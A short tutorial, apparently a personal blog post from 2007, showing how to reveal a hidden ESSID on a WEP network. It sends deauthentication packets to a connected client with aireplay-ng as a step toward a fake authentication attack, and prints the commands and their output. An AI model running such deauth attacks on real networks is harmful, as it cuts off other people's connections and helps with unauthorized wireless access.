Sometimes airodump-ng wont show you the ESSID of an access point.  you'll need the ESSID so you can do the fake authentication attack.
 
root@segfault:/home/cg/eric-g# airodump-ng ath0 --bssid 00:14:BF:9D:BA:DA -c 11
 CH 11 ][ Elapsed: 9 s ][ 2007-11-25 23:43
                                                                                                         
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                         
 00:14:BF:9D:BA:DA   13  37       98       15    2  11  48  WEP  WEP         (length:  7)
                                
 BSSID              STATION            PWR  Lost  Packets  Probes      
                                                                                                                                     
 00:14:BF:9D:BA:DA  00:11:95:BD:77:79   -1     0        1                                                
 00:14:BF:9D:BA:DA  00:17:3F:74:80:D6    6    11        7
the solution to that is to deauth a client on the network, when they re-authenticate the ESSID should present itself.
root@segfault:/home/cg/casa# aireplay-ng -0 10 -a 00:14:BF:9D:BA:DA -c 00:17:3F:74:80:D6 ath0
23:45:50  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:51  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:52  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:53  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:55  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:56  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:57  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:58  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:45:59  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
23:46:01  Sending DeAuth to station   -- STMAC: [00:17:3F:74:80:D6]
watch your airodump output and the ESSID should change from length:# to the actual ESSID
 CH 11 ][ Elapsed: 1 min ][ 2007-11-25 23:46
                                                                                                         
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                         
 00:14:BF:9D:BA:DA   12  83     1093      122    5  11  48  WEP  WEP    OPN  general
                                                                                                         
 BSSID              STATION            PWR  Lost  Packets  Probes           
                                                                                                         
 00:14:BF:9D:BA:DA  00:17:3F:74:80:D6    5     0      651                                                
 00:14:BF:9D:BA:DA  00:11:95:BD:77:79   -1     0        2
our ESSID is "general"
-CG
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